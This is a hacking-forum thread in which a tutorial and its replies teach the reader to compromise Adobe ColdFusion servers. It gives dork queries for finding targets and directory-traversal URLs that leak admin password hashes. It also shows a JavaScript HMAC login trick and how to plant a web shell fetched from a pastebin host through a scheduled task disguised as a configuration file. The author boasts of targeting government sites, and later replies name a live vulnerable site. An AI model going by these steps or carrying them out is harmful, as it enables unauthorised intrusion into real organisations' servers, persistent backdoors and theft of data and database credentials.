

Forum:[Hack Forums](#)

Thread: [\[TUTORIAL\] ColdFusion Exploit - Hack Big Sites With Ease! - High Detail \[TUTORIAL\]](#)

v?x? - July 16, 2013, 10:20 pm

This tutorial gives you a basic understanding of the ColdFusion exploit. There's very many government and military websites that use this software, but only about 15% are vulnerable. I was nearly into ca.gov last night, but my friend who got into it before me, shelled the server and then patched it so only he has it. (I was extremely mad at this point - haha). Well, let's get started!

What is Adobe ColdFusion?

ColdFusion is a commercial rapid web application development platform invented by Jeremy and JJ Allaire in 1995. (The programming language used with that platform is also commonly called ColdFusion, though is more accurately known as CFML.) ColdFusion was originally designed to make it easier to connect simple HTML pages to a database. By Version 2 (1996), it had become a full platform that included an IDE in addition to a "full" scripting language. As of 2010, versions of ColdFusion (purchased by Adobe Systems in 2005) include advanced features for enterprise integration and development of rich Internet applications.

http://en.wikipedia.org/wiki/Adobe_ColdFusion

RequirementsSuggested - VPN, Proxy or Tor

A Javascript Snippet - Will Be Provided Later On

Tamper Data - Firefox (Tor) Plugin

Finding a site that uses Coldfusion:

This is extremely easy by the use of the "ext" google dork:

Code ext:cfm

Testing to see it's vulnerable:

The way we test to see if the site's vulnerable, is by first going to the admin panel. So, for example, if we have the following URL:

Code `http://site/random/directories/shit/lol/document.cfm`

We would then go to:

Code `http://site/CFIDE/administrator`

This will then display us the Adobe ColdFusion administrator panel unless we're denied access to the panel. You should see a page like this:

Spoiler [\(Click to View\)](#)

Unfortunately version 10 isn't vulnerable.

You're now going to want to take a note of the Adobe ColdFusion version, this is viewable on the administrator panel. Adobe ColdFusion version 6, 7 and 8 are vulnerable to this attack only. For other versions see 9 & 10 at the bottom of the thread.

I've found a vulnerable version, now what do I do?

You're going to want to follow the exploits below, depending on the version. Please bare in mind, these next parts all have to be done within 30 seconds, as the salt changes every 30 seconds!

(For Version 9 and 10 - Please look near to the bottom of the thread.

Version 6

Code

```
http://site/CFIDE/administrator/enter.cfm?locale=../../../../../../../../CFusionMX/lib/password.properties%00en
```

Version 7

Code

```
http://site/CFIDE/administrator/enter.cfm?locale=../../../../../../../../CFusionMX7/lib/password.properties%00en
```

Version 8

Code

```
http://site/CFIDE/administrator/enter.cfm?locale=../../../../../../../../ColdFusion8/lib/password.properties%00en
```

If the exploit is successful, the administrator's password hash value will be displayed on the password. I currently have no vulnerable sites so I cannot show you an example.

Version 9 & 10

You're going to want to install Python. This tutorial is quite dependent on your operating system. I will be focusing on Windows as that's what most of you use. I may write up one for Linux in the future.

First of all, install Python and then install Python Requests (<http://docs.python-requests.org/en/latest/>). Then save the following script to your Desktop as a.py: <http://www.exploit-db.com/exploits/25305/>

Windows users:

Open up command prompt and CD to the desktop

Code cd desktop

Then to run the script just enter in the name, if you saved it as a.py like I told you then just type:

Code a.py

This should run the script.

You now need to enter the URL ONLY, don't put /CFIDE/ after it. Just the URL. If the url is:

Code http://dtsc.ca.gov/CFIDE/administrator/

Then you would put the URL like this:

Code http://dtsc.ca.gov

Example:

Spoiler [\(Click to View\)](#)

If you get the following feedback, then it is not vulnerable:

Spoiler [\(Click to View\)](#)

If it is vulnerable, you will get feedback from the script with the HMAC. Then proceed to the following steps.

How can I login with a hashed password?
Now, here comes the tricky part!

You're going to make sure you have scripts enabled (for those who have NoScript) - Enter the following javascript code into your browser - although it works better if you use Scratchpad (Shift + F4 for Firefox / Ctrl + Alt + N for Chrome users):

Code

```
javascript:alert(hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value))
```

NOTE: IF YOU ARE USING SCRATCHPAD DO NOT INCLUDE THE "java-script:" PART AS IT WILL NOT WORK

You will get an alert with the HMACed hash. Copy this value. Next, start Tamper Data and click "Start Tamper" then click login, and paste the hash you obtained from the javascript in the cfadminPassword field.

If you were fast enough, you will now be logged in! Congratulations if you did it right!

Shelling The Server

What's the point of gaining access to the administrator panel if we can't even shell the server? Well, I'm going to tell you how we can!

You're going to need to have an Adobe ColdFusion Shell. You can try with a regular PHP Shell or an ASP shell but these are usually blocked. I've not been able to find this shell publically anywhere else, and is relatively private. So, for the first time I'm going to be posting here. This is the entire fUZE CFM Shell and is the current best public CFM Shell: <http://pastebin.com/raw.php?i=rQHk8ZBs>

Save this to your user area (on your PC) as filename.cfm for quick access in the future. Just in case you use the raw shell location, although the raw shell code is what you need for shelling the site.

Now, here comes the shelling. Once you're in the administrator panel of ColdFusion head on over to the "Settings Summary" tab on the left hand side of the panel, and find the "Mappings" section. This page shows you the full path disclosure of the CFIDE location. One of the default mappings is /CFIDE. This is where we will be writing the shell to, as that is the /CFIDE/ part of the website you're in currently. Copy the full path next to where it says /CFIDE.

Next, we need to head on over to the "Debugging and Logging" tab on the left panel and click "Scheduled Tasks". This allows us to run a task on the site (and with a little persuasion, shell the server by uploading a script). Click "Schedule New Task". Set the task name to whatever, it doesn't really matter, if you want to be more stealthy put something like "Scheduled Configuration".

Now, we change the "URL" part of the page to the RAW shell source. Hence why I supplied you with a pastebin in raw format. You can use raw pastebin links unless it is blocked by the sites Firewall. Check the option to save the output to a file. Paste the path you copied from "Mappings" into the "File" field. Type the name you want to save the shell as and the extension (cfm). So, as this is going in the /CFIDE/ directory off the site, name it something like "config.cfm".

Double check to make sure you have done everything correctly according to this tutorial and then click "OK". Then when the page reloads, click the green check/tick to run the task. This will then upload your shell!

If everything is done correctly, your shell will be uploaded! Now to access the shell:

Code <http://yourhackedsite.com/CFIDE/yourshellname.cfm>

You will be challenged with login information. If you used the default settings from the above script then these will be your details:

Code Vexy:pass123

How It Should Be Done

If you want to take a look at how I do things, here you go:

Spoiler ([Click to View](#))

a.py = Subzero

b.py = Python 1liner for HMAC/Salt

~Written by Vexy with help from the following link - If you find this thread anywhere else please PM me as they have stole it

Want to go into further depth than this tutorial? View this page:

http://www.blackhatlibrary.net/Coldfusion_hacking

CyberShadow - July 16, 2013, 10:40 pm

How can i patch this though? would you also put that in the tutorial .. ask your friend how he did it.

Krieg - July 16, 2013, 10:51 pm

There are more vulnerable CF, but not to the same bug. The exploitation process is incredibly similar though.

I won't spoil your thread, so I'll just say to google it or search XDB for it.

Thanks for the simplified tutorial for the kids, though.

Xen_ - July 17, 2013, 3:26 am

Version 10 is vulnerable.

The exploit for 10 is public.

Source: <http://www.exploit-db.com/exploits/25305/>

The script is easy to set up and it gets the hash for you.

Other than that the tutorial is quite nice.

Very simple, it should help people new to cold fusion.

Team wTools? :O

v?x? - July 17, 2013, 6:48 am

(Jul 17, 2013 03:26 AM)Xen_ Wrote: ([CITE](#)) Version 10 is vulnerable.

The exploit for 10 is public.

Source: <http://www.exploit-db.com/exploits/25305/>

The script is easy to set up and it gets the hash for you.

Other than that the tutorial is quite nice.

Very simple, it should help people new to cold fusion.

Team wTools? :O

I know that, I meant it isn't vulnerable to the way it's done in this thread, I forgot to write a bit about

the script. I'll do it later.

Oh, and yes. Team wTools <3

blackknight_ - July 17, 2013, 9:18 am

Good tutorial thanks for this xD

will try this out

Hacker 0860 - July 17, 2013, 9:40 am

Good tutorial..Thanks for sharing.

HAHAHAHA

v?x? - July 17, 2013, 10:13 am

Added in a mini tutorial for versions 9 & 10.

Coming Soon; How to shell the server once you're in.

Sapientia - July 17, 2013, 12:11 pm

Amazing, and helpful tutorial by my buddy Vexy. Should help some people a lot on getting some servers.

NoodleBot™ - July 17, 2013, 12:21 pm

Very detailed tutorial. Nice job, very informative!

emicovi - July 17, 2013, 12:28 pm

thanks for the good tutorial bro! :)

v?x? - July 17, 2013, 12:37 pm

Added in some information on writing a shell to the server. Glad you guys like it! I noticed that Who? made a thread on this but he's banned and this thread is more informative. I couldn't find any others so I hope this helps you!

D?ath - July 17, 2013, 4:57 pm

HA i can only be jealous and laugh hysterically

Nyckel - July 17, 2013, 5:02 pm

Eh mind explaining how you exploit 9/10 manually? I'd like to learn more than just how to use a python script :P

(Jul 17, 2013 12:37 PM)v?x? Wrote: [\[CITE\]](#) I noticed that Who? made a thread on this but he's banned and this thread is more informative. I couldn't find any others so I hope this helps you!

<https://hackforums.net/showthread.php?tid=3189438>

<https://hackforums.net/showthread.php?tid=3250882>

v?x? - July 17, 2013, 5:38 pm

(Jul 17, 2013 05:02 PM)Nyckel Wrote: [\[CITE\]](#) Eh mind explaining how you exploit 9/10 manually? I'd like to learn more than just how to use a python script :P

<https://hackforums.net/showthread.php?tid=3189438>

<https://hackforums.net/showthread.php?tid=3250882>

My tutorial is more in-depth than both tutorials and both users are banned. :D

I'll look over the script and work it out manually, then update the thread with the tutorial.

nJordan - July 17, 2013, 5:57 pm

When using scratchpad it says illegal charater? Is this my browser?

v?x? - July 17, 2013, 6:14 pm

(Jul 17, 2013 05:57 PM)nJordan Wrote: [\[CITE\]](#) When using scratchpad it says illegal charater? Is this my browser?

If you're using Scratchpad I forgot to mention that you don't include the jscript part.

nJordan - July 17, 2013, 6:28 pm

(Jul 17, 2013 06:14 PM)v?x? Wrote: [\[CITE\]](#) If you're using Scratchpad I forgot to mention that you don't include the jscript part.

Still says illegal character.

I even tried Execute JS addon.

Konohamaru. - July 17, 2013, 6:48 pm

sadly ,what is this ?

Spoiler ([Click to View](#))

```
Code |__| | |__| \ / |__ ,"" /--
| | | | V __|. -,__,'
```

Name : Sub-Zero.py v2

Description : CF9-10 Remote Root Zeroday

Crew : HTP

Target> http://gaygaygay.com

[*] Target set to: gaygaygya.com

[*] Absolute path obtained: D:\inetpub\vhhosts\default\htdocs\CFIDE\adminapi\customtags

[*] Detected Windows

[*] Fingerprinting CF 9/10 instance

[*] Detected ColdFusion 9

[*] Collecting additional data about operating system

[*] Obtaining credentials

Traceback (most recent call last):

File "cf.py", line 176, in <module>

if credzacquired == True:

NameError: name 'credzacquired' is not defined

nJordan - July 17, 2013, 7:25 pm

Never mind just use the web dev. console. Works alot better for newer firefox versions.

rfpd - July 18, 2013, 6:46 am

(Jul 17, 2013 06:28 PM)nJordan Wrote: [\[CITE\]](#) Still says illegal character.

I even tried Execute JS addon.

```
alert(hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value))
```

Try that one, in the the end it says invalid password and I don't see the point of using tamper data if you can just enter the password in the box...

Nevermind I got it :) Nice tut!ssdsadsadasdasd

v?x? - July 18, 2013, 9:05 am

Glad you're all enjoying this tutorial! Hopefully I can make it into the premium tutorials section.

?????? - July 18, 2013, 10:58 am

This is really quite interesting. I have an irrelevant question: what firefox theme/skin are you using? It looks great in that one spoiler...

v?x? - July 20, 2013, 9:13 am

(Jul 18, 2013 10:58 AM)Aeneid Wrote: [\[CITE\]](#) This is really quite interesting. I have an irrelevant question: what firefox theme/skin are you using? It looks great in that one spoiler...
I'm not quite sure of the name. How would I find out?

Emoticon - July 20, 2013, 10:13 am

Holy shit, this worked very well. Worked on the first two sites I tried it on (they were over 20 pages back on Google). Vouch for this method, hopefully it doesn't get patched up any time soon.

eoNe - July 20, 2013, 10:13 am

great tutorial nice job man thanks for sharing

v?x? - July 20, 2013, 3:31 pm

No worries eoNe! Glad you enjoyed reading. You're welcome, Emoticon! I'm glad it works fine for you.

Savages - July 20, 2013, 6:57 pm

I cannot get the password to display, the hash or anything even after using the exploits?

v?x? - July 20, 2013, 7:03 pm

(Jul 20, 2013 06:57 PM)Glory Boyz Wrote: [\[CITE\]](#) I cannot get the password to display, the hash or anything even after using the exploits?

As mentioned in the post not copy is vulnerable. Even though you may have one of the vulnerable software versions (6,7,8,9,10) they're still not necessarily vulnerable. There are ways to patch the vulnerabilities.

Savages - July 20, 2013, 7:29 pm

(Jul 20, 2013 07:03 PM)v?x? Wrote: [\[CITE\]](#) As mentioned in the post not copy is vulnerable. Even though you may have one of the vulnerable software versions (6,7,8,9,10) they're still not necessarily vulnerable. There are ways to patch the vulnerabilities.

Ah i see so i have to deep searches to find a vuln.

Shadow Walker - July 20, 2013, 7:37 pm

nice thread, will look more into it in the future.

Regards,
Shadow Walker

v?x? - July 20, 2013, 9:56 pm

I hope you enjoyed the read Shadow Walker!

Daily - July 21, 2013, 12:02 am

Nice method! You can alter the dork to get the "good" websites so you don't have to sift through a sea of shit.

Savages - July 21, 2013, 12:03 am

(Jul 21, 2013 12:02 AM)Daily Wrote: [\[CITE\]](#) Nice method! You can alter the dork to get the "good" websites so you don't have to sift through a sea of shit.

I'm not sure how, i couldn't find one vulnerable site.

SHADOW REALM - July 21, 2013, 12:13 am

I might have found a pretty decent site running cf9 but when I try to use the exploit it doesn't work :o

I'm guessing it's cause I don't have that requests installed but when I try to do that on python it doesn't work

Any ideas?

chintanmandexgurjar - July 21, 2013, 2:54 am

nice post very well written thank you.

Xen_ - July 21, 2013, 3:03 am

(Jul 21, 2013 12:13 AM)SHADOW Wrote: [\[CITE\]](#) I might have found a pretty decent site running cf9 but when I try to use the exploit it doesn't work :o

I'm guessing it's cause I don't have that requests installed but when I try to do that on python it doesn't work

Any ideas?

That's not the correct way to install requests.

Try "\$ pip install requests"

Or download the requests package and do it manually.

v?x? - July 21, 2013, 8:04 am

For anyone having trouble installing requests, don't forget that Google is your best friend!

Nyckel - July 21, 2013, 8:37 am

(Jul 21, 2013 12:13 AM)SHADOW Wrote: [\[CITE\]](#) I might have found a pretty decent site running cf9 but when I try to use the exploit it doesn't work :o

I'm guessing it's cause I don't have that requests installed but when I try to do that on python it doesn't work

Any ideas?

You know you're truly pathetic when you can't even figure out how to use a tool that does all the work for you.

v?x? - July 21, 2013, 9:37 am

(Jul 21, 2013 08:37 AM)Nyckel Wrote: [\[CITE\]](#) You know you're truly pathetic when you can't even figure out how to use a tool that does all the work for you.

Now now Nyckel, we were all there once. ?

Ergo - July 21, 2013, 3:12 pm

Nice thread and very detailed. It'll help a lot of youngsters learning about the wonder that is ColdFusion Exploitation.

(Luv ya Vexy)

Savages - July 21, 2013, 5:32 pm

I'm not sure you even understand what the exploit infact does.

v?x? - July 21, 2013, 6:01 pm

(Jul 21, 2013 05:32 PM)Glory Boyz Wrote: [\[CITE\]](#) I'm not sure you even understand what the exploit infact does.

I know exactly what it does. It uses directory traversal and XSS to reveal the password hash.

Added in How It Should Be Done to the thread. x)

How It Should Be Done

If you want to take a look at how I do things, here you go:

Spoiler ([Click to View](#))

a.py = Subzero

b.py = Python 1liner for HMAC/Salt

the ??!f ?f ?all \$t?€€t - July 21, 2013, 6:44 pm

I did everything as you said but still

v?x? - July 21, 2013, 7:12 pm

(Jul 21, 2013 06:44 PM)?!?c? L???? Wrote: [\[CITE\]](#) I did everything as you said but still

PM me the URL. I'll check it out for you to see if I can get in! If I get in, I'll either make change the administrator password for you or just shell it for you.

Xen_ - July 21, 2013, 7:18 pm

(Jul 21, 2013 06:44 PM)?!?c? L???? Wrote: [\[CITE\]](#) I did everything as you said but still

If the hash is really long that means the cold fusion is bugged, so it might not be vulnerable.

the ??!f ?f ?all \$t?€€t - July 21, 2013, 7:27 pm

(Jul 21, 2013 07:12 PM)v?x? Wrote: [\[CITE\]](#) PM me the URL. I'll check it out for you to see if I can get in! If I get in, I'll either make change the administrator password for you or just shell it for you.
okey ive sent you the url in an pm

-Black Lotus

v?x? - July 21, 2013, 10:17 pm

Not long until 50 posts now! I hope everyone reading this enjoys it and finds it easy to follow.

Rexxar - July 21, 2013, 10:27 pm

Found one with v8 but hash didn't revealed. -.-

Is it works on all v8 or only some vulnerable one?

Ergo - July 21, 2013, 11:22 pm

(Jul 21, 2013 10:27 PM)Rexxar Wrote: [\[CITE\]](#) Found one with v8 but hash didn't revealed. -.-

Is it works on all v8 or only some vulnerable one?

It only works if it's vulnerable. A lot of system admins refuse to upgrade their coldfusion version however have themselves fixed the vulnerability with the enter.cfm script.

v?x? - July 22, 2013, 8:09 am

We now have 50 posts and over 1,300 views!

BguyTheKing - July 22, 2013, 4:35 pm

I keep getting SyntaxError: Unexpected token ILLEGAL when I run the javascript in chrome console.

Ergo - July 22, 2013, 4:41 pm

(Jul 22, 2013 04:35 PM)BguyTheKing Wrote: [\[CITE\]](#) I keep getting SyntaxError: Unexpected token ILLEGAL

when I run the javascript in chrome console.

Did you put the hashed password you obtained into the password box? You need to make sure it's in there when you use the javascript code.

Rico Verhoeven - July 22, 2013, 5:09 pm

No idea what i'm doing wrong.

v?x? - July 22, 2013, 9:18 pm

(Jul 22, 2013 04:35 PM)BguyTheKing Wrote: [\[CITE\]](#) I keep getting SyntaxError: Unexpected token ILLEGAL

when I run the javascript in chrome console.

Make sure you have no spaces before the alert.

v?x? - August 6, 2013, 2:43 am

(Jul 20, 2013 10:13 AM)Emoticon Wrote: [\[CITE\]](#) Holy shit, this worked very well. Worked on the first two sites I tried it on (they were over 20 pages back on Google). Vouch for this method, hopefully it doesn't get patched up any time soon.

I'm glad you liked it! :D

I hope some other people can get to view this thread.

SolarsEdits - August 6, 2013, 5:55 am

Really awesome and big detailed tutorial, nice !

IFRESHI - August 21, 2013, 2:24 pm

Nice Thread! Helped Me Learn Some New Thangs.

v?x? - October 11, 2013, 11:16 am

There will be no more updating this thread. I've quit hacking now but people can continue to learn from this thread if you wish.

NewbHacker62 - October 11, 2013, 12:38 pm

Really awesome! Thanks for the post!

Glass - October 11, 2013, 12:42 pm

(Jul 22, 2013 05:09 PM)?ll????? Wrote: [\[CITE\]](#)

No idea what i'm doing wrong.

I think it was written on python 2.7.5 or something.

I tried opening it on python 3.3 and got the same error.

so you just need to add the brackets in like below. On every print function

```
print (intro.replace("Cold",cyan).replace("Fusion",clear))
```

or just download python 2.7.5 and use it on that..

hmm

<http://prntscr.com/1woz5f>

Is this error showing it's not vulnerable, or there's an actual error in the python code?

HughWasPhone - October 12, 2013, 3:10 pm

What an awesome guide! Going to try this method out soon enough. Didn't really fully read it yet, there's so much info. Thanks for taking the time to write so much of this out.

b0mb3r - October 19, 2013, 6:27 am

I have found out a login to the CFM admin panel. Just one question before I test to shell that page....is it a shell like c99? Can I connect to the databases ? In admin panel there are mentioned two mssql databases with login informations (sa/decrypted hash).

Tibit147 - October 19, 2013, 6:31 am

(Oct 19, 2013 06:27 AM)b0mb3r Wrote: [\[CITE\]](#) I have found out a login to the CFM admin panel. Just one question before I test to shell that page....is it a shell like c99? Can I connect to the databases ? In admin panel there are mentioned two mssql databases with login informations (sa/decrypted hash).

You don't even know what you're doing. Just fuck off and never return.

deriix - October 19, 2013, 6:53 am

This tutorial is the best tut on hf.

Mr. Corleone - October 19, 2013, 8:16 am

I get this when I try to run the python script:

http://i.minus.com/jowewuaEjAzUQ.bmp

b0mb3r - October 19, 2013, 8:27 am

(Oct 19, 2013 06:31 AM)Tibit147 Wrote: [\[CITE\]](#) You don't even know what you're doing. Just fuck off and never return.

whats your fucking problem shithead, help or stfu

unknownXXXX - October 29, 2013, 4:28 am

Amazing, and helpful tutorial by my buddy Vexy. Should help some people a lot on getting some servers.

Shaggy - October 30, 2013, 10:42 am

High Quality Tutorial, Very nice Job !

Helped me alot!

Barcode-aL - November 5, 2013, 3:34 am

Heelp pleasee ? Why not don;t type target url ??

<http://prntscr.com/22227u>

porvolk - December 16, 2013, 4:48 pm

I got a error when I loaded the a.py

D3RP - December 16, 2013, 5:10 pm

Here's a vuln if someone wants to test it out:

<http://stannesodality.com/CFIDE/administrator/login.cfm>

HarveySpecter - December 16, 2013, 5:49 pm

Very detailed and helpful thank you.

rahoool - December 17, 2013, 9:37 am

worked like a charm bro good tutorial bro keep it up

mil0xV - December 18, 2013, 3:54 am

If anyone is having trouble installing requests for Windows, you can simply go to:

<http://www.lfd.uci.edu/~gohlke/pythonlibs/#requests>

Look up your version and it'll automatically install :)

v?x? - December 27, 2013, 6:57 pm

Should I make a separate tutorial on installing Python Requests?

Bob23 - January 21, 2014, 4:22 pm

Hmm, this is odd:

[*] Target set to: xxx.xx.xx

[*] Testing for path disclosure

[*] Absolute path obtained: xxxxxx

xxx

[*] Detected Windows

[*] Fingerprinting CF 9/10 instance

[*] Detected ColdFusion 9

[*] Collecting additional data about operating system

[*] Obtaining credentials

Traceback (most recent call last):

File "C:\Users\xxxx\Downloads\25305.py", line 176, in <module>

if credzacquired == True:

NameError: name 'credzacquired' is not defined

Got any clues on what's going wrong?

The problem i believe is at:

if "encrypted=true" in lfidata:

credzacquired = True

print "[*] CF Administrator credentials acquired:"

print lfidata

else:

pass

if credzacquired == True:

If encrypted is not equal to true, to goes to else which leaves credzacquired undefined which then

leads to see if credzacquired is equal to True which ultimately leads to the error since a comparison is being done between a defined variable and an undefined variable.

Strange part is it seems it is not vulnerable, but it's odd it has gotten that far.

Bob23 - January 23, 2014, 6:27 am

This is complete bullshit, it doesn't work with any coldfusion 9 sites, it's always the same error.

pichotamx - January 28, 2014, 11:45 am

Not bad ,thanks for posting things..

thank you very much

agik - January 28, 2014, 11:49 am

nice man , great jobs, ty ! I will contact you to discute with you about bisness if you are ok, .

KnockSteadys - February 2, 2014, 3:20 pm

thanks this a cool tut on how to do this it will help alot

Mod525 - February 2, 2014, 3:21 pm

Great tutorial! Very In depth and helped a lot! thanks:)

-Mod525

QuantumZ3r0 - February 6, 2014, 9:51 pm

Very Nice tutorial! Very well explained also.

Watch Dogs™ - February 12, 2014, 11:47 am

Nice tutorial man!

Really enjoy it ! :D

Badge - February 12, 2014, 12:13 pm

very HQ thread, gonna try this out soon

thanks for sharing

chaf - March 24, 2015, 8:45 pm

After uploading the shell, I'm having trouble accessing it. The server gives me a 404 error. I know the shell is there because I have accessed it twice, but most of the times it gives me the 404 error. Any idea why?

AllDone - December 8, 2015, 10:51 am

help please on coldfusion 10 i want to upload shell i get this error

Invalid extension of the file name. Valid extensions are :log,txt

?DELIJA? - December 10, 2015, 5:56 am

I'll try this ASAP..

Thanks for tut :)

xTerN. - December 11, 2015, 7:28 am

Thanks for share. :BlackHat:

Naidoxe - December 22, 2015, 10:57 pm

Thanks for the tutorial, very detailed :D

Lis?hén - *December 23, 2015, 3:57 am*

That tut gor made 2 years ago, it certainly doesn't work anymore